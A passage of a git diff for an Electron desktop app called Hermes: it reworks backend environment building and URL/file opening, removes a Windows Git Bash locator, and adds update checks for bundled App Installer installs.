currentEnv: { + PATH: '/usr/bin:/bin', + PYTHONPATH: '/leaked/other/checkout', + PYTHONHOME: '/leaked/python' + }, + platform: 'darwin' }) - const entries = result.split(':') - // Both managed-Node layouts lead, POSIX-native shape first, then the venv. - assert.deepEqual(entries.slice(0, 3), [ - '/Users/test/.hermes/node/bin', - '/Users/test/.hermes/node', - '/Users/test/.hermes/hermes-agent/venv/bin' - ]) - assert.ok(entries.includes('/opt/homebrew/bin'), 'Apple Silicon Homebrew bin is added') - assert.ok(entries.includes('/opt/homebrew/sbin'), 'Apple Silicon Homebrew sbin is added') - assert.ok(entries.includes('/usr/local/sbin'), 'missing standard sbin is added') + assert.equal(env.PYTHONPATH, '') + assert.equal(env.PYTHONHOME, '') +}) + +test('POSIX backend PATH keeps the inherited PATH first and appends missing sane entries', () => { + const env = buildDesktopBackendEnv({ + currentEnv: { PATH: '/opt/homebrew/bin:/usr/bin:/bin' }, + platform: 'darwin' + }) + + const entries = env.PATH.split(':') + assert.equal(entries[0], '/opt/homebrew/bin', 'inherited PATH keeps precedence') + assert.equal(entries.filter(entry => entry === '/opt/homebrew/bin').length, 1, 'no duplicates') for (const expected of POSIX_SANE_PATH_ENTRIES) { assert.ok(entries.includes(expected), `${expected} should be present`) } }) -test('managed Node dirs lead with the platform-native layout but always offer both', () => { - const posix = hermesManagedNodePathEntries('/Users/test/.hermes', { - platform: 'darwin', - pathModule: path.posix - }) - - const windows = hermesManagedNodePathEntries('C:\\Users\\test\\AppData\\Local\\hermes', { - platform: 'win32', - pathModule: path.win32 - }) - - // install.sh uses node/bin; install.ps1 unpacks node.exe into node\ itself. - // Both shapes are always emitted so migrated installs keep resolving. - assert.deepEqual(posix, ['/Users/test/.hermes/node/bin', '/Users/test/.hermes/node']) - assert.deepEqual(windows, [ - 'C:\\Users\\test\\AppData\\Local\\hermes\\node', - 'C:\\Users\\test\\AppData\\Local\\hermes\\node\\bin' - ]) -}) - -test('managed Node dirs are empty without a Hermes home', () => { - assert.deepEqual(hermesManagedNodePathEntries(undefined, { platform: 'darwin', pathModule: path.posix }), []) - assert.deepEqual(hermesManagedNodePathEntries('', { platform: 'win32', pathModule: path.win32 }), []) -}) - -test('every managed Node dir outranks the inherited PATH on both platforms', () => { - for (const [platform, pathModule, home, inherited, delimiter] of [ - ['darwin', path.posix, '/Users/test/.hermes', '/usr/local/bin:/usr/bin', ':'], - ['win32', path.win32, 'C:\\hermes', 'C:\\Program Files\\nodejs;C:\\Windows\\System32', ';'] - ] as const) { - const entries = buildDesktopBackendPath({ - hermesHome: home, - venvRoot: null, - currentPath: inherited, - platform, - pathModule - }).split(delimiter) - - const managed = hermesManagedNodePathEntries(home, { platform, pathModule }) - const firstInherited = Math.min(...inherited.split(delimiter).map(entry => entries.indexOf(entry))) - - for (const dir of managed) { - assert.ok( - entries.indexOf(dir) >= 0 && entries.indexOf(dir) < firstInherited, - `${dir} must precede the inherited PATH on ${platform}` - ) - } - } -}) - -test('desktop backend PATH preserves first occurrence and avoids duplicates', () => { - const result = buildDesktopBackendPath({ - hermesHome: '/Users/test/.hermes', - venvRoot: '/Users/test/.hermes/hermes-agent/venv', - currentPath: '/opt/homebrew/bin:/usr/bin:/opt/homebrew/bin:/bin', - platform: 'darwin', - pathModule: path.posix - }) - - const entries = result.split(':') - assert.equal(entries.filter(entry => entry === '/opt/homebrew/bin').length, 1) - assert.ok( - entries.indexOf('/opt/homebrew/bin') < entries.indexOf('/opt/homebrew/sbin'), - 'existing Homebrew bin keeps its precedence over appended missing sane entries' - ) -}) - -test('buildDesktopBackendEnv extends PYTHONPATH and backend PATH together', () => { +test('Windows PATH casing and delimiter are preserved without POSIX sane entries', () => { const env = buildDesktopBackendEnv({ - hermesHome: '/Users/test/.hermes', - pythonPathEntries: ['/repo/hermes-agent'], - venvRoot: '/Users/test/.hermes/hermes-agent/venv', - currentEnv: { - PATH: '/usr/bin:/bin', - PYTHONPATH: '/existing/pythonpath' - }, - platform: 'darwin', - pathModule: path.posix + currentEnv: { Path: 'C:\\Windows\\System32;C:\\Windows' }, + platform: 'win32' }) - assert.equal(env.PYTHONPATH, '/repo/hermes-agent:/existing/pythonpath') - assert.ok( - env.PATH.startsWith( - '/Users/test/.hermes/node/bin:/Users/test/.hermes/node:/Users/test/.hermes/hermes-agent/venv/bin:' - ) - ) - assert.ok(env.PATH.includes('/opt/homebrew/bin')) + assert.equal(env.Path, 'C:\\Windows\\System32;C:\\Windows') + assert.equal(env.PATH, undefined) }) test('buildDesktopBackendEnv forces PYTHONUTF8 unless the user set it explicitly', () => { const defaulted = buildDesktopBackendEnv({ - hermesHome: '/Users/test/.hermes', currentEnv: { PATH: '/usr/bin' }, - platform: 'darwin', - pathModule: path.posix + platform: 'darwin' }) assert.equal(defaulted.PYTHONUTF8, '1') const optedOut = buildDesktopBackendEnv({ - hermesHome: '/Users/test/.hermes', currentEnv: { PATH: '/usr/bin', PYTHONUTF8: '0' }, - platform: 'darwin', - pathModule: path.posix + platform: 'darwin' }) assert.equal(optedOut.PYTHONUTF8, '0') @@ -159,33 +78,13 @@ test('normalizeHermesHomeRoot maps profile homes back to the global Hermes root' assert.equal(normalizeHermesHomeRoot('/Users/test/.hermes', { pathModule: path.posix }), '/Users/test/.hermes') }) -test('Windows PATH casing and delimiter are preserved without POSIX sane entries', () => { - const env = buildDesktopBackendEnv({ - hermesHome: 'C:\\Users\\test\\AppData\\Local\\hermes', - pythonPathEntries: ['C:\\repo\\hermes-agent'], - venvRoot: 'C:\\Users\\test\\AppData\\Local\\hermes\\hermes-agent\\venv', - currentEnv: { - Path: 'C:\\Windows\\System32;C:\\Windows', - PYTHONPATH: 'C:\\existing\\pythonpath' - }, - platform: 'win32', - pathModule: path.win32 - }) - +test('pathEnvKey finds the platform-cased PATH key', () => { assert.equal(pathEnvKey({ Path: 'x' }, 'win32'), 'Path') - assert.equal(env.PATH, undefined) - // Windows leads with the portable layout (install.ps1 unpacks node.exe - // straight into node\, no bin\), then the POSIX shape for migrated installs. - assert.ok( - env.Path.startsWith( - 'C:\\Users\\test\\AppData\\Local\\hermes\\node;C:\\Users\\test\\AppData\\Local\\hermes\\node\\bin;' - ) - ) - assert.ok(env.Path.includes('\\venv\\Scripts;')) - assert.ok(env.Path.includes(';C:\\Windows\\System32;C:\\Windows')) - assert.equal(env.Path.includes('/opt/homebrew/bin'), false) + assert.equal(pathEnvKey({ PATH: 'x' }, 'win32'), 'PATH') + assert.equal(pathEnvKey({}, 'win32'), 'PATH') + assert.equal(pathEnvKey({ Path: 'x' }, 'darwin'), 'PATH') }) -test('appendUniquePathEntries drops empty entries and keeps first occurrence', () => { - assert.equal(appendUniquePathEntries([':/a::/b', ['/a', '/c']], { delimiter: ':' }), '/a:/b:/c') +test('appendUniquePathEntries flattens, dedupes, and preserves first occurrence', () => { + assert.equal(appendUniquePathEntries(['/a:/b', ['/b', '/c'], '', null], { delimiter: ':' }), '/a:/b:/c') }) diff --git a/apps/desktop/electron/backend-env.ts b/apps/desktop/electron/backend-env.ts index 24d6928bad..3baf3af4e9 100644 --- a/apps/desktop/electron/backend-env.ts +++ b/apps/desktop/electron/backend-env.ts @@ -1,8 +1,9 @@ import path from 'node:path' -// Match the POSIX fallback surface used by the Python terminal environment. -// macOS apps launched from Finder/Dock often inherit only /usr/bin:/bin:/usr/sbin:/sbin, -// which misses Apple Silicon Homebrew and user-installed CLI tools such as codex. +// macOS apps launched from Finder/Dock inherit only /usr/bin:/bin:/usr/sbin:/sbin, +// which misses Homebrew and user-installed CLI tools (codex, git credential +// helpers). Hermes' own managed tools need no PATH help — the backend composes +// their environment in-process via pm — but user tools on PATH do. const POSIX_SANE_PATH_ENTRIES = Object.freeze([ '/opt/homebrew/bin', '/opt/homebrew/sbin', @@ -30,12 +31,6 @@ function pathEnvKey(env = process.env, platform = process.platform) { return Object.keys(env || {}).find(key => key.toUpperCase() === 'PATH') || 'PATH' } -function currentPathValue(env = process.env, platform = process.platform) { - const key = pathEnvKey(env, platform) - - return env?.[key] || '' -} - function appendUniquePathEntries(entries, { delimiter = path.delimiter } = {}) { const seen = new Set() const ordered = [] @@ -60,49 +55,6 @@ function appendUniquePathEntries(entries, { delimiter = path.delimiter } = {}) { return ordered.join(delimiter) } -/** - * Hermes-managed Node.js directories, in preferred lookup order. - * - * There are two on-disk layouts. `scripts/install.ps1` unpacks portable Node - * straight into `%LOCALAPPDATA%\hermes\node` (node.exe at the root, no `bin\`); - * `scripts/install.sh` and the node-bootstrap helper use the POSIX - * `$HERMES_HOME/node/bin`. Emit BOTH on every platform so mixed and migrated - * installs resolve, leading with the layout native to the current platform. - * - * This is the single source of truth for the ordering rule on the Node side — - * `main.ts` imports it rather than keeping its own copy. Mirrors - * `iter_hermes_node_dirs()` in hermes_constants.py, which the Electron main - * process cannot import. - */ -function hermesManagedNodePathEntries( - hermesHome, - { platform = process.platform, pathModule = pathModuleForPlatform(platform) }: any = {} -) { - if (!hermesHome) { - return [] - } - - const root = pathModule.join(hermesHome, 'node') - const bin = pathModule.join(root, 'bin') - - return platform === 'win32' ? [root, bin] : [bin, root] -} - -function buildDesktopBackendPath({ - hermesHome, - venvRoot, - currentPath = '', - platform = process.platform, - pathModule = pathModuleForPlatform(platform) -}: any = {}) { - const delimiter = delimiterForPlatform(platform) - const hermesNodeDirs = hermesManagedNodePathEntries(hermesHome, { platform, pathModule }) - const venvBin = venvRoot ? pathModule.join(venvRoot, platform === 'win32' ? 'Scripts' : 'bin') : null - const saneEntries = platform === 'win32' ? [] : POSIX_SANE_PATH_ENTRIES - - return appendUniquePathEntries([hermesNodeDirs, venvBin, currentPath, saneEntries], { delimiter }) -} - function normalizeHermesHomeRoot(hermesHome, { pathModule = pathModuleForPlatform(process.platform) }: any = {}) { if (!hermesHome) { return hermesHome @@ -118,20 +70,21 @@ function normalizeHermesHomeRoot(hermesHome, { pathModule = pathModuleForPlatfor return resolved } -function buildDesktopBackendEnv({ - hermesHome, - pythonPathEntries = [], - venvRoot, - currentEnv = process.env, - platform = process.platform, - pathModule = pathModuleForPlatform(platform) -}: any = {}) { +/** + * The environment for the spawned Python backend. Electron knows ONE thing: + * where the interpreter is (by convention). Everything else — managed tool + * PATHs, browser paths, node — is composed in-process by pm when the backend + * spawns tools. PYTHONPATH/PYTHONHOME are scrubbed so an inherited value + * can't make the backend import modules from another checkout. + */ +function buildDesktopBackendEnv({ currentEnv = process.env, platform = process.platform }: any = {}) { const delimiter = delimiterForPlatform(platform) - const currentPythonPath = currentEnv?.PYTHONPATH || '' const key = pathEnvKey(currentEnv, platform) + const saneEntries = platform === 'win32' ? [] : POSIX_SANE_PATH_ENTRIES return { - PYTHONPATH: appendUniquePathEntries([...pythonPathEntries, currentPythonPath], { delimiter }), + PYTHONPATH: '', + PYTHONHOME: '', // Force PEP 540 UTF-8 mode in the spawned Python backend so its stdio and // subprocess defaults are UTF-8 even on non-UTF-8 Windows locales (GBK, // cp1252, ...). hermes_bootstrap sets this inside the child too, but only @@ -139,22 +92,14 @@ function buildDesktopBackendEnv({ // pre-bootstrap tracebacks) still decodes with the locale default without // this. User's explicit setting wins. Re-port of PR #56499 (echoriver89). PYTHONUTF8: currentEnv?.PYTHONUTF8 ?? '1', - [key]: buildDesktopBackendPath({ - hermesHome, - venvRoot, - currentPath: currentPathValue(currentEnv, platform), - platform, - pathModule - }) + [key]: appendUniquePathEntries([currentEnv?.[key] || '', saneEntries], { delimiter }) } } export { appendUniquePathEntries, buildDesktopBackendEnv, - buildDesktopBackendPath, delimiterForPlatform, - hermesManagedNodePathEntries, normalizeHermesHomeRoot, pathEnvKey, POSIX_SANE_PATH_ENTRIES diff --git a/apps/desktop/electron/backend-probes.ts b/apps/desktop/electron/backend-probes.ts index 7133342141..144a3f30fa 100644 --- a/apps/desktop/electron/backend-probes.ts +++ b/apps/desktop/electron/backend-probes.ts @@ -141,13 +141,14 @@ function hermesRuntimeImportProbe() { * @param {object} [opts.env] - Additional environment for the probe. * @returns {boolean} */ -function canImportHermesCli(pythonPath: string, opts: { env?: Record } = {}) { +function canImportHermesCli(pythonPath: string, opts: { env?: Record; cwd?: string } = {}) { if (!pythonPath) { return false } try { execProbeSync(pythonPath, ['-c', hermesRuntimeImportProbe()], { + cwd: opts.cwd, env: { ...process.env, ...(opts.env || {}) }, stdio: 'ignore', timeout: PROBE_TIMEOUT_MS, diff --git a/apps/desktop/electron/find-git-bash.test.ts b/apps/desktop/electron/find-git-bash.test.ts deleted file mode 100644 index 63e00b3c3d..0000000000 --- a/apps/desktop/electron/find-git-bash.test.ts +++ /dev/null @@ -1,54 +0,0 @@ -import assert from 'node:assert/strict' - -import { test } from 'vitest' - -import { findGitBash } from './find-git-bash' - -const yes = () => true -const no = () => false - -test('HERMES_GIT_BASH_PATH override takes precedence', () => { - const result = findGitBash({ - isWindows: true, - env: { HERMES_GIT_BASH_PATH: 'D:\\CustomGit\\bin\\bash.exe' }, - fileExists: yes, - findOnPath: () => null - }) - - assert.equal(result, 'D:\\CustomGit\\bin\\bash.exe') -}) - -test('HERMES_GIT_BASH_PATH invalid path falls through to candidates', () => { - const env = { - HERMES_GIT_BASH_PATH: 'X:\\Missing\\bash.exe', - LOCALAPPDATA: 'C:\\Users\\test\\AppData\\Local', - ProgramFiles: 'C:\\Program Files', - 'ProgramFiles(x86)': 'C:\\Program Files (x86)' - } - - const fileExists = (p: string) => p !== 'X:\\Missing\\bash.exe' && p.includes('Program Files\\Git\\bin\\bash.exe') - const result = findGitBash({ isWindows: true, env, fileExists, findOnPath: () => null }) - assert.equal(result, 'C:\\Program Files\\Git\\bin\\bash.exe') -}) - -test('HERMES_GIT_BASH_PATH empty string is ignored', () => { - const result = findGitBash({ - isWindows: true, - env: { HERMES_GIT_BASH_PATH: '', LOCALAPPDATA: '' }, - fileExists: no, - findOnPath: () => 'C:\\msys64\\usr\\bin\\bash.exe' - }) - - assert.equal(result, 'C:\\msys64\\usr\\bin\\bash.exe') -}) - -test('non-Windows uses findOnPath', () => { - const result = findGitBash({ - isWindows: false, - env: {}, - fileExists: no, - findOnPath: () => '/usr/bin/bash' - }) - - assert.equal(result, '/usr/bin/bash') -}) diff --git a/apps/desktop/electron/find-git-bash.ts b/apps/desktop/electron/find-git-bash.ts deleted file mode 100644 index 62369e9bad..0000000000 --- a/apps/desktop/electron/find-git-bash.ts +++ /dev/null @@ -1,67 +0,0 @@ -import path from 'node:path' - -export interface GitBashOptions { - isWindows: boolean - env: Record - fileExists: (filePath: string) => boolean - findOnPath?: (command: string) => string | null -} - -/** - * Locate bash.exe on Windows. - * Resolution order (first match wins): - * 1. HERMES_GIT_BASH_PATH env var override - * 2. PortableGit under %LOCALAPPDATA%\hermes\git\ (install.ps1) - * 3. Standard Git for Windows install locations - * 4. %LOCALAPPDATA%\Programs\Git\ (user-scoped) - * 5. bash on PATH - */ -export function findGitBash(opts: GitBashOptions): string | null { - const { isWindows, env, fileExists, findOnPath } = opts - - if (!isWindows) { - return findOnPath ? findOnPath('bash') : null - } - - // Respect HERMES_GIT_BASH_PATH if set (mirrors tools/environments/local.py:_find_bash). - const gitBashPath = env.HERMES_GIT_BASH_PATH - - if (gitBashPath && fileExists(gitBashPath)) { - return gitBashPath - } - - const localAppData = env.LOCALAPPDATA || '' - const candidates: string[] = [] - - // Candidate paths are Windows paths regardless of host platform (tests run - // on POSIX CI hosts too), so join with win32 semantics explicitly. - const joinWin = path.win32.join - - if (localAppData) { - candidates.push(joinWin(localAppData, 'hermes', 'git', 'bin', 'bash.exe')) - candidates.push(joinWin(localAppData, 'hermes', 'git', 'usr', 'bin', 'bash.exe')) - } - - candidates.push(joinWin(env['ProgramFiles'] || 'C:\\Program Files', 'Git', 'bin', 'bash.exe')) - candidates.push(joinWin(env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Git', 'bin', 'bash.exe')) - - if (localAppData) { - candidates.push(joinWin(localAppData, 'Programs', 'Git', 'bin', 'bash.exe')) - } - - for (const candidate of candidates) { - if (fileExists(candidate)) { - return candidate - } - } - - if (findOnPath) { - const onPath = findOnPath('bash') - - if (onPath) { - return onPath - } - } - - return null -} diff --git a/apps/desktop/electron/main.ts b/apps/desktop/electron/main.ts index fbf80f6bc9..fda1946874 100644 --- a/apps/desktop/electron/main.ts +++ b/apps/desktop/electron/main.ts @@ -47,7 +47,7 @@ import { import { dashboardFallbackArgs, sourceDeclaresServe } from './backend-command' import { createBackendConnectionState } from './backend-connection-state' import { BackendDialClaims } from './backend-dial-claim' -import { buildDesktopBackendEnv, hermesManagedNodePathEntries, normalizeHermesHomeRoot } from './backend-env' +import { buildDesktopBackendEnv, normalizeHermesHomeRoot } from './backend-env' import { isReauthRequiredError, makeNousCloudBackendDownError, @@ -168,6 +168,7 @@ import { import { describeDevCdpDecision, resolveDevCdpPort } from './dev-cdp' import { installEmbedReferer } from './embed-referer' import { createEventDeduper } from './event-dedupe' +import { openExternalUrl as externalOpen, type ExternalOpenDeps } from './external-open' import { buildTerminalScript, resolveTerminalLaunch, @@ -176,7 +177,6 @@ import { tuiResumeArgs } from './external-terminal' import { type FaviconIo, resolveFavicon } from './favicon' -import { findGitBash as _findGitBash } from './find-git-bash' import { installFindShortcut, installFoundInPageForwarder, @@ -225,6 +225,8 @@ import { snapHudBounds } from './hud-snap' import { createHudSnapShortcut } from './hud-snap-shortcut' import { buildHudWindowUrl } from './hud-url' import { resolveHudWindowing } from './hud-windowing' +import { INSTALL_STAMP as BAKED_INSTALL_STAMP } from './install-stamp' +import type { InstallStamp } from './install-stamp' import { createLinkTitleWindow, guardLinkTitleSession, readLinkTitleWindowTitle } from './link-title-window' import { ensureMainWindow } from './main-window-lifecycle' import { @@ -266,6 +268,8 @@ import { loadNativeTokenSet, type NativeTokenStoreIo, persistNativeTokenSet } fr import { serializeJsonBody, setJsonRequestHeaders } from './oauth-net-request' import { LEGACY_OAUTH_PARTITION, resolveOauthPartition } from './oauth-partition' import { createParentStartMarkerResolver, parentWatchdogEnv } from './parent-process-identity' +import { adoptPayloadVenv, installIdForRoot, isBundledInstall, resolvePayload, type PayloadInfo } from './payload-backend' +import { checkAppInstallerUpdate, PLACEHOLDER_FEED_BASE_URL, triggerAppInstallerUpdate } from './app-updater' import { registerPetOverlayIpc } from './pet-overlay-ipc' import { buildRegistryProfileRoutes, @@ -371,6 +375,7 @@ import { import { waitForUpdateClearance } from './update-gate' import { readLiveUpdateMarker, updateHandoffConflict, writeUpdateMarker } from './update-marker' import { isOfficialSshRemote, OFFICIAL_REPO_HTTPS_URL } from './update-remote' +import { classifyUpdateRoot } from './update-root-policy' import { collectRelaunchArgs, observeUpdaterHandoff, @@ -406,7 +411,6 @@ import { hiddenWindowsChildOptions } from './windows-child-options' import { buildPathExtCandidates, chooseUpdaterArgs, - getVenvSitePackagesEntries, resolveVenvHermesCommand } from './windows-hermes-path' import { @@ -709,7 +713,12 @@ function loadInstallStamp() { builtAt: parsed.builtAt || null, dirty: Boolean(parsed.dirty), source: parsed.source || null, - path: p + path: p, + // Bundled/light artifacts carry these; mirror them so the union + // with the baked stamp stays typed (tag/payload drive the App + // Installer channel + variant). + tag: typeof parsed.tag === 'string' ? parsed.tag : null, + payload: parsed.payload === 'light' || parsed.payload === 'bundled' ? parsed.payload : 'bootstrap' }) } } catch (e) { @@ -721,11 +730,13 @@ function loadInstallStamp() { return null } -const INSTALL_STAMP = loadInstallStamp() +// The baked build-time constant (production bundles) wins; loadInstallStamp() +// remains as the dev/extraResources fallback when nothing was baked. +const INSTALL_STAMP = BAKED_INSTALL_STAMP ?? loadInstallStamp() if (INSTALL_STAMP) { console.log( - `[hermes] install stamp: ${INSTALL_STAMP.commit.slice(0, 12)}${INSTALL_STAMP.branch ? ` (${INSTALL_STAMP.branch})` : ''}${INSTALL_STAMP.dirty ? ' [DIRTY]' : ''} from ${INSTALL_STAMP.source || 'unknown'}` + `[hermes] install stamp: ${INSTALL_STAMP.commit ? INSTALL_STAMP.commit.slice(0, 12) : 'no-commit'}${INSTALL_STAMP.branch ? ` (${INSTALL_STAMP.branch})` : ''}${INSTALL_STAMP.dirty ? ' [DIRTY]' : ''} from ${INSTALL_STAMP.source || 'unknown'}` ) } else if (IS_PACKAGED) { // Dev builds without a stamp are normal; packaged builds without one @@ -791,10 +802,11 @@ function resolveHermesHome() { const HERMES_HOME = resolveHermesHome() -function pathWithHermesManagedNode(...entries) { - const managed = hermesManagedNodePathEntries(HERMES_HOME).filter(directoryExists) - - return [...managed, ...entries, process.env.PATH].filter(Boolean).join(path.delimiter) +// The spawned `hermes update` / updater children compose managed-tool env +// (node, git, uv) in-process via pm. Electron only prepends the explicit +// entries the caller names (the venv bin for the hermes shim itself). +function pathWithVenvBin(...entries) { + return [...entries, process.env.PATH].filter(Boolean).join(path.delimiter) } // ACTIVE_HERMES_ROOT — the canonical mutable Hermes install. Same path @@ -1660,114 +1672,65 @@ function loadWindowUrl(win, url, label) { win.loadURL(url).catch(error => rememberLog(`${label} failed to load: ${describeCrashReason(error)}`)) } -function openExternalUrl(rawUrl) { - const raw = String(rawUrl || '').trim() - - if (!raw) { - return false - } - - let parsed - - try { - parsed = new URL(raw) - } catch { - return false - } - - // `file://` URLs come from the artifacts panel (the renderer can't open - // them itself because Chromium blocks file:// navigation from the app - // origin). Hand them to `shell.openPath`, which dispatches to the OS - // file association. If the OS can't open it (`error` is a non-empty - // string), fall back to revealing the file in the system file manager. - if (parsed.protocol === 'file:') { - let localPath - - try { - localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open external file' }) - } catch { - return false - } - - void shell - .openPath(localPath) - .then(error => { - if (!error) { - return - } - - rememberLog(`[file] openPath failed: ${error}; revealing in folder instead`) - - try { - shell.showItemInFolder(localPath) - } catch (revealError) { - rememberLog(`[file] showItemInFolder failed: ${revealError.message}`) - } - }) - .catch(error => rememberLog(`[file] openPath rejected: ${error.message}`)) - - return true - } - - if (!['http:', 'https:', 'mailto:'].includes(parsed.protocol)) { - return false - } - - const url = parsed.toString() - - if (IS_WSL) { - rememberLog(`[link] opening via WSL→Windows: ${url}`) - - const proc = spawn('cmd.exe', ['/c', 'start', '""', url], { - detached: true, - stdio: 'ignore', - windowsHide: true - }) - - proc.on('error', error => { - rememberLog(`[link] cmd.exe start failed: ${error.message}; falling back to xdg-open`) - shell.openExternal(url).catch(fallback => rememberLog(`[link] xdg-open failed: ${fallback.message}`)) - }) - proc.unref() - - return true - } - - shell.openExternal(url).catch(error => rememberLog(`[link] openExternal failed: ${error.message}`)) - - return true +const EXTERNAL_OPEN_DEPS: ExternalOpenDeps = { + isWsl: IS_WSL, + spawn: (cmd, args, opts) => spawn(cmd, args, opts), + openExternal: url => shell.openExternal(url), + openFile: openExternalFile, + notifyFailure: broadcastOpenFailed, + log: rememberLog } -async function openPreviewInBrowser(rawUrl) { - const raw = String(rawUrl || '').trim() +// The single route every external URL open funnels through (external-open.ts). +// main.ts only binds the electron deps; all open/fallback logic lives in the +// module so it unit-tests without loading electron. +function openExternalUrl(rawUrl: string) { + return externalOpen(String(rawUrl || '').trim(), EXTERNAL_OPEN_DEPS) +} - if (!raw) { - return false - } +async function openPreviewInBrowser(rawUrl: string) { + const result = await externalOpen(String(rawUrl || '').trim(), EXTERNAL_OPEN_DEPS) - let parsed + // Only an invalid/unsupported URL is a hard "no" for the caller; an open + // failure already raised the fallback modal with the URL. + return !(result.ok === false && result.reason === 'invalid') +} + +// `file://` URLs come from the artifacts panel (the renderer can't open them +// itself because Chromium blocks that navigation). Dispatch to the OS file +// association; if that fails, reveal the file in the system file manager. +async function openExternalFile(rawUrl: string) { + let localPath: string try { - parsed = new URL(raw) + localPath = resolveRequestedPathForIpc(rawUrl, { purpose: 'Open external file' }) } catch { - return false + return } - if (parsed.protocol === 'file:') { - let localPath + try { + const error = await shell.openPath(localPath) - try { - localPath = resolveRequestedPathForIpc(parsed.toString(), { purpose: 'Open preview in browser' }) - } catch { - return false + if (!error) { + return } - await shell.openExternal(pathToFileURL(localPath).toString()) - - return true + rememberLog(`[file] openPath failed: ${error}; revealing in folder instead`) + shell.showItemInFolder(localPath) + } catch (error) { + rememberLog(`[file] openPath rejected: ${error instanceof Error ? error.message : String(error)}`) } +} - return openExternalUrl(raw) +// An open failure is surfaced to the renderer as a modal carrying the URL, so +// a dead system-browser click (e.g. no https handler registered on Linux) is +// never silent. Broadcast to every window — the trigger has no single sender. +function broadcastOpenFailed(url: string, message: string) { + rememberLog(`[open-failed] ${url}: ${message}`) + + for (const win of BrowserWindow.getAllWindows()) { + win.webContents.send('hermes:external-open-failed', { url, message }) + } } function ensureWslWindowsFonts() { @@ -1875,7 +1838,8 @@ let bootstrapState = { startedAt: null, completedAt: null, setupChoice: null, - unsupportedPlatform: null + unsupportedPlatform: null, + bundled: false } let firstRunSetupGate = null @@ -1930,10 +1894,13 @@ function broadcastBootstrapEvent(ev) { bootstrapState.setupChoice = ev.active ? { platform: ev.platform, - activeRoot: ev.activeRoot + activeRoot: ev.activeRoot, + local: ev.local || 'none', + bundled: Boolean(ev.bundled) } : null bootstrapState.unsupportedPlatform = null + bootstrapState.bundled = Boolean(ev.bundled) } else if (ev.type === 'dismissed') { resetBootstrapSnapshot() } @@ -1965,7 +1932,8 @@ function resetBootstrapSnapshot() { startedAt: null, completedAt: null, setupChoice: null, - unsupportedPlatform: null + unsupportedPlatform: null, + bundled: false } } @@ -1974,7 +1942,9 @@ function promptFirstRunSetupChoice(backend) { type: 'setup-choice', active: true, platform: backend.platform || process.platform, - activeRoot: backend.activeRoot || ACTIVE_HERMES_ROOT + activeRoot: backend.activeRoot || ACTIVE_HERMES_ROOT, + local: backend.local || 'none', + bundled: isBundledInstall(process.resourcesPath, { fileExists }) }) } @@ -2275,9 +2245,7 @@ function unwrapWindowsVenvHermesCommand(command, backendArgs) { directoryExists, canImportHermesCli, getVenvPython, - getVenvSitePackagesEntries, buildDesktopBackendEnv, - hermesHome: HERMES_HOME, resolvePath: (...segments) => path.resolve(...segments), dirname: p => path.dirname(p), basename: p => path.basename(p), @@ -2581,18 +2549,6 @@ function findSystemPython() { return null } -// findGitBash — locate bash.exe on Windows. Resolves HERMES_GIT_BASH_PATH -// first (mirrors tools/environments/local.py:_find_bash), then PortableGit, -// standard install locations, and finally PATH. -function findGitBash() { - return _findGitBash({ - isWindows: IS_WINDOWS, - env: process.env, - fileExists, - findOnPath - }) -} - function getVenvPython(venvRoot) { return path.join(venvRoot, IS_WINDOWS ? path.join('Scripts', 'python.exe') : path.join('bin', 'python')) } @@ -2657,8 +2613,8 @@ function makeDashboardReadyFile() { // resolveGitBinary — locate git.exe on Windows. A fresh installer-driven // install only has PortableGit under %LOCALAPPDATA%\hermes\git (never on // PATH), so a bare spawn('git') ENOENTs and self-update checks fail with -// "Couldn't check for updates". Mirror findGitBash: PortableGit first, then -// standard Git-for-Windows locations, then PATH. Cached after first probe. +// "Couldn't check for updates". PortableGit first, then standard +// Git-for-Windows locations, then PATH. Cached after first probe. let _gitBinaryCache = null function resolveGitBinary() { @@ -2900,6 +2856,51 @@ async function resolveHealedBranch(updateRoot, branch) { } async function checkUpdates() { + // A bundled install has no checkout to pull — the OS App Installer owns + // the update loop for out-of-store MSIX installs. Ask the OS whether a + // newer package is available on the registered .appinstaller source. + const bundledPayload = resolvePayload(process.resourcesPath, { fileExists, directoryExists, isWindows: IS_WINDOWS }) + if (bundledPayload) { + if (IS_WINDOWS && !isWindowsStore()) { + try { + const check = await checkAppInstallerUpdate({ + python: bundledPayload.storePython, + // The checker ships inside the payload's repo snapshot (git archive + // of the committed tree): //apps/desktop/scripts/. + script: path.join(bundledPayload.repoDir, 'apps', 'desktop', 'scripts', 'check-appinstaller-update.py'), + run: runPayloadPython + }) + + return { + supported: true, + mechanism: 'app-installer', + channel: resolveUpdaterChannelFromStamp(), + currentVersion: app.getVersion(), + latestVersion: null, + updateAvailable: check.available === true, + // null = unknown (checker unavailable) — surface honestly. + error: check.available === null ? (check.error || 'update check unavailable') : undefined, + fetchedAt: Date.now() + } + } catch (error) { + return { + supported: true, + mechanism: 'app-installer', + error: 'check-failed', + message: error?.message || String(error), + fetchedAt: Date.now() + } + } + } + + return { + supported: false, + reason: 'bundled-not-appinstaller', + message: 'bundled install: updates are applied by the installer (Microsoft Store or App Installer).', + fetchedAt: Date.now() + } + } + const updateRoot = resolveUpdateRoot() let { branch } = readDesktopUpdateConfig() const gitDir = path.join(updateRoot, '.git') @@ -2914,6 +2915,27 @@ async function checkUpdates() { } } + // The update-root policy (update-root-policy.ts): a `.git` tree the install + // contract does not manage with updateMechanism "self" (or one with no + // stamp at all — a dev checkout) is the only legitimate git-update + // territory. A steward-owned tree (external / electron-updater) must not be + // pulled into from the desktop. + const rootStamp = readCanonicalInstallStamp() + const rootPolicy = classifyUpdateRoot({ + isGitTree: true, + updateMechanism: (rootStamp?.updateMechanism as any) ?? null + }) + if (!rootPolicy.updatable) { + return { + supported: false, + reason: `update-root-${rootPolicy.verdict}`, + message: rootPolicy.message || `${updateRoot} is not desktop-updatable.`, + advice: rootPolicy.advice, + hermesRoot: updateRoot, + branch + } + } + branch = await resolveHealedBranch(updateRoot, branch) const originUrl = await getOriginUrl(updateRoot) @@ -3126,6 +3148,100 @@ async function readCommitLog(cwd, branch, isShallow) { let updateInFlight = false +// ── bundled / App Installer helpers ───────────────────────────────────────── + +/** True when this process is a Microsoft Store deployment. */ +function isWindowsStore(): boolean { + return Boolean((process as any).windowsStore) +} + +/** + * The App Installer feed base URL for a bundled MSIX install: config.yaml's + * `updates.desktop_feed_base_url`, then HERMES_DESKTOP_FEED_BASE_URL, then + * the documented placeholder. Empty only when nothing configured the feed. + */ +function 